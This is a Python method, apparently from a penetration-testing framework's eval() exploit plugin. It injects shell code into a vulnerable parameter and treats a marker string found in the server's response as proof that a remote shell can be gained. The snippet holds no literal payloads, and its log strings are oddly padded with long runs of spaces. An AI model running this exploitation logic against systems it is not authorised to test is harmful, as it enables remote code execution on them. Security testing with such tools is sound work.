'This command verifies a vuln. This is really hard work!
:param vuln_obj: The vulnerability to exploit.
:return : True if vuln can be exploited.'

def _verify_vuln(self, vuln_obj):

    extension = vuln_obj.get_url().get_extension()
    null_command = ''
    shell_code_list = shell_handler.get_shell_code(extension, null_command)
    for (code, real_extension, shellcode_generator) in shell_code_list:
        mutant = vuln_obj.get_mutant()
        mutant = mutant.copy()
        mutant.set_token_value(code)
        try:
            http_res = self._uri_opener.send_mutant(mutant)
        except BaseFrameworkException as w3:
            msg = 'An    error    occurred    while    trying    to    exploit    the    eval()    vulnerability.    Original    exception:    "%s".'
            om.out.debug((msg % w3))
        else:
            if (shell_handler.SHELL_IDENTIFIER in http_res.get_body()):
                msg = ('Successfully    exploited    eval()    vulnerability    using    the    following    code    snippet:    "%s...".' % code[:35])
                om.out.debug(msg)
                self._shellcode_generator = shellcode_generator
                return True
    return False
